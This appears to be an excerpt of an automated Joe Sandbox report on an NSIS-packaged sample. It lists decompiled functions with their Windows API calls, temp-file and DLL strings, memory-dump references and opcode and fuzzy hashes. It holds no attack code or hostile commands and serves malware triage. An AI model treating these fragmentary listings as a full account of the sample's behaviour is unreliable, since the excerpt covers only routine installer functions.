Instruction ID: 635ab88c792e9e5f97a92d6c795dead4e0d31dcfeb410e4bc66b7a0500b41a5f
Opcode Fuzzy Hash: a0dd9f8ef326ba969c16cb1fd88c965c76ed405712e773b35a873600aa04ef71
Instruction Fuzzy Hash: DB51D371A01204AFDB109F65DD41BAE7EACEB49716F20817BF900B62D1CA7C9F408B5D

Function 00401774 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B5
CompareFileTime.KERNEL32(-00000014,?,10.0.19045.False,10.0.19045.False,00000000,00000000,10.0.19045.False,C:\Users\user\AppData\Local\Temp\nse5B61.tmp,?,?,00000031), ref: 004017DA

Part of subcall function 00406534: lstrcpynW.KERNEL32(?,?,00000400,00403681,007A7260,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406541

Part of subcall function 004055B9: lstrlenW.KERNEL32(007A0728,00000000,0079B1EE,762323A0,?,?,?,?,?,?,?,?,?,004033FA,00000000,?), ref: 004055F1
Part of subcall function 004055B9: lstrlenW.KERNEL32(004033FA,007A0728,00000000,0079B1EE,762323A0,?,?,?,?,?,?,?,?,?,004033FA,00000000), ref: 00405601
Part of subcall function 004055B9: lstrcatW.KERNEL32(007A0728,004033FA), ref: 00405614
Part of subcall function 004055B9: SetWindowTextW.USER32(007A0728,007A0728), ref: 00405626
Part of subcall function 004055B9: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040564C
Part of subcall function 004055B9: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405666
Part of subcall function 004055B9: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405674

Strings

C:\Users\user\AppData\Local\Temp\nse5B61.tmp, xrefs: 004017A3
C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll, xrefs: 0040183A, 00401856
10.0.19045.False, xrefs: 00401792, 0040179B, 004017A8, 004017BA, 004017C6, 004017FC, 00401812, 00401830, 0040186C, 004018ED, 004018F6, 00401900, 0040190B

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: 10.0.19045.False$C:\Users\user\AppData\Local\Temp\nse5B61.tmp$C:\Users\user\AppData\Local\Temp\nse5B61.tmp\nsExec.dll
API String ID: 1941528284-796677359
Opcode ID: 8561651abfa6410071d22ed99cb99f5f230de9881640b0fdfe788bbeaf189928
Instruction ID: f453ba81f7058b6188de9b36fe697e27c0e04e304a513fa9e8a23dac1ec640eb
Opcode Fuzzy Hash: 8561651abfa6410071d22ed99cb99f5f230de9881640b0fdfe788bbeaf189928
Instruction Fuzzy Hash: C741C631800518BACF11BBB9DC85DBE3AB5EF41729B21423FF012B10E2DB3C8A51966D

Function 004032B9 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403323
GetTickCount.KERNEL32 ref: 004033A7
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033D0
wsprintfW.USER32 ref: 004033E3

Strings

... %d%%, xrefs: 004033DD
CGy, xrefs: 0040336D, 0040337F

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$CGy
API String ID: 551687249-3591958535
Opcode ID: 35df2eeb44d66dae63b1d0c24c026509dc1c2a142cef09f029ae2f44a6fc0423
Instruction ID: 8b929f0044e1ac0cacba81bf46ea48fcc998b80fd55e06c59bd949555b0c30d1
Opcode Fuzzy Hash: 35df2eeb44d66dae63b1d0c24c026509dc1c2a142cef09f029ae2f44a6fc0423
Instruction Fuzzy Hash: E5515F71900219DBCF11CF95D98469F7FA8AF4076AF14417BE804BB2C0C77C9A50CBAA

Function 00405F0B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406534: lstrcpynW.KERNEL32(?,?,00000400,00403681,007A7260,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406541

Part of subcall function 00405EAE: CharNextW.USER32(?,?,007A3F50,?,00405F22,007A3F50,007A3F50, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C60,?,76233420,C:\Users\user\AppData\Local\Temp\,007B3000), ref: 00405EBC
Part of subcall function 00405EAE: CharNextW.USER32(00000000), ref: 00405EC1
Part of subcall function 00405EAE: CharNextW.USER32(00000000), ref: 00405ED9

lstrlenW.KERNEL32(007A3F50,00000000,007A3F50,007A3F50, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C60,?,76233420,C:\Users\user\AppData\Local\Temp\,007B3000), ref: 00405F64
GetFileAttributesW.KERNELBASE(007A3F50,007A3F50,007A3F50,007A3F50,007A3F50,007A3F50,00000000,007A3F50,007A3F50, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C60,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 00405F74

Strings

4#v, xrefs: 00405F0D
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F0B
P?z, xrefs: 00405F11

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4#v$C:\Users\user\AppData\Local\Temp\$P?z
API String ID: 3248276644-4140600528
Opcode ID: bcbf200ecc0ebcd9a110e0aedcb8263399075ff3aca88ce7f3d60eb64f48f27a
Instruction ID: 4254dd577ef462a113b6af6603d7003c895b553eaebd6861c82524aaccd31353
Opcode Fuzzy Hash: bcbf200ecc0ebcd9a110e0aedcb8263399075ff3aca88ce7f3d60eb64f48f27a
Instruction Fuzzy Hash: 12F02835105E5329D622333A6C05AAF1544CFC6368719067BF892B22D5CF3C8B438CBE

Function 004068B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068CF
wsprintfW.USER32 ref: 0040690A
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040691E

Strings

%s%S.dll, xrefs: 00406904
UXTHEME, xrefs: 004068C1

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: 81ed32cd441a27d4f3f8ebc13d3c3c121413d11d2ad97d4a1e4b49bf3134d0f2
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 64F0FC31501219AACB10BB64DD0DF9B375C9B00305F10847AA646F10D0EB78D668C798

Function 00406053 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406071
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040350D,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9), ref: 0040608C

Strings

nsa, xrefs: 00406060
C:\Users\user\AppData\Local\Temp\, xrefs: 00406058

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1857211195
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: c38105da250e7271fccf8508e97940083eab768234b1f6861d150eb6f31dd2f1
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: 27F09076B40204BBEB00CF69ED05F9EB7ACEB95750F11803AFA01F7180E6B0A9548768

Function 004015C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405EAE: CharNextW.USER32(?,?,007A3F50,?,00405F22,007A3F50,007A3F50, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C60,?,76233420,C:\Users\user\AppData\Local\Temp\,007B3000), ref: 00405EBC
Part of subcall function 00405EAE: CharNextW.USER32(00000000), ref: 00405EC1
Part of subcall function 00405EAE: CharNextW.USER32(00000000), ref: 00405ED9

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161F

Part of subcall function 00405A88: CreateDirectoryW.KERNELBASE(007AB800,?), ref: 00405ACA

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp\nse5B61.tmp,?,00000000,000000F0), ref: 00401652

Strings

C:\Users\user\AppData\Local\Temp\nse5B61.tmp, xrefs: 00401645

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp\nse5B61.tmp
API String ID: 1892508949-460192656
Opcode ID: 4c19b764ac487a517b4bd13167095bd853d569a08c8d607eac6b17a03d538d9d
Instruction ID: 625a4e517e3d2ef51acfe74bc6df62a7a1d29dad7f850d028ad858b28003b980
Opcode Fuzzy Hash: 4c19b764ac487a517b4bd13167095bd853d569a08c8d607eac6b17a03d538d9d
Instruction Fuzzy Hash: 3611D031504114ABCF206FA5CD405AF36A0EF04368B29493FE945B22F1DA3D4A819B4E

Function 004020DD Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402108

Part of subcall function 004055B9: lstrlenW.KERNEL32(007A0728,00000000,0079B1EE,762323A0,?,?,?,?,?,?,?,?,?,004033FA,00000000,?), ref: 004055F1
Part of subcall function 004055B9: lstrlenW.KERNEL32(004033FA,007A0728,00000000,0079B1EE,762323A0,?,?,?,?,?,?,?,?,?,004033FA,00000000), ref: 00405601
Part of subcall function 004055B9: lstrcatW.KERNEL32(007A0728,004033FA), ref: 00405614
Part of subcall function 004055B9: SetWindowTextW.USER32(007A0728,007A0728), ref: 00405626
Part of subcall function 004055B9: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040564C
Part of subcall function 004055B9: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405666
Part of subcall function 004055B9: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405674

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402119
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,?,00000008,00000001,000000F0), ref: 00402196

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: ccfc87da9fdcbdf16f26fe9f90524ed476b134ac267b0d15e4dc6efb72c1dd6b
Instruction ID: 536d658b2d5626a072540831630168b43a4966d71debd26089b563c1caab560b
Opcode Fuzzy Hash: ccfc87da9fdcbdf16f26fe9f90524ed476b134ac267b0d15e4dc6efb72c1dd6b
Instruction Fuzzy Hash: 4321B031904108EADF11AFA4CE49A9D7A71BF84358F20423FF201B91E1CBBD8982961E

Function 00401BA0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalFree.KERNEL32(00893338), ref: 00401C10
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C22

Strings

10.0.19045.False, xrefs: 00401BC7, 00401BCD, 00401BE7

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Global$AllocFree
String ID: 10.0.19045.False
API String ID: 3394109436-2006975710
Opcode ID: a35846d0fa1f5f62d1cc44f85dbd038e6f418717e16ba0fa97b0d6e40a5ea598
Instruction ID: ebda21c3d1e0d5701a49ae815e8da7541a6b67fff49d9363c78ae17fdfc2c87a
Opcode Fuzzy Hash: a35846d0fa1f5f62d1cc44f85dbd038e6f418717e16ba0fa97b0d6e40a5ea598
Instruction Fuzzy Hash: 0D21C973904114EBDB20EBA8EE85A5E72F4AB04324755053FF542B72D0C67CD8418F5D

Function 00405BF8 Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFF: GetFileAttributesW.KERNELBASE(?,?,00405C04,?,?,00000000,00405DDA,?,?,?,?), ref: 00406004
Part of subcall function 00405FFF: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00406018

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405DDA), ref: 00405C13
DeleteFileW.KERNELBASE(?,?,?,00000000,00405DDA), ref: 00405C1B
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405C33

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: db7f6541ced3958ca03b9484ad33d053af3f68eb31512009fba6ce163230055c
Instruction ID: 5e01d24d9a9add2734d853181832f52676860c459c8436f1574cfa514314cc42
Opcode Fuzzy Hash: db7f6541ced3958ca03b9484ad33d053af3f68eb31512009fba6ce163230055c
Instruction Fuzzy Hash: 34E0653111DB9556E3206B359E0CA6B29D8DF86724F05093EF491B21D0DB78484A8AAD

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 2a9df91d450fb50793c14fb38bc67898e6fb514a90870fda1bdd56b9451edd81
Instruction ID: cd791cecd07b1aef7d4b508d0a52a2ac0ec5e235a68ccce80931b69816989e44
Opcode Fuzzy Hash: 2a9df91d450fb50793c14fb38bc67898e6fb514a90870fda1bdd56b9451edd81
Instruction Fuzzy Hash: 6301F4326242109BE7195B389D05B6B36A8F791314F10863FF955F62F1DA78CC42DB4D

Function 00405A88 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(007AB800,?), ref: 00405ACA
GetLastError.KERNEL32 ref: 00405AD8

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction ID: a317670bc0344c02bc4a283170babb3afb7c1cf0ece08f5f419864d791fc675b
Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction Fuzzy Hash: 6CF0F4B0D0064EDADB00DFA4C6487EFBBB4EB04309F10812AD941B6281D7B882488FA9

Function 00406928 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040361F,0000000C,?,?,?,?,?,?,?,?), ref: 0040693A
GetProcAddress.KERNEL32(00000000,?), ref: 00406955

Part of subcall function 004068B8: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068CF
Part of subcall function 004068B8: wsprintfW.USER32 ref: 0040690A
Part of subcall function 004068B8: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040691E

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: 3558e7e07fc8bc3cb8e2ee1445b58ac947b9e1d3522fe80aecf0cccf78f5b58a
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: C7E08673504211ABD2106A705E04C2777AD9F85750302443EF946F2140D774DC32A76D

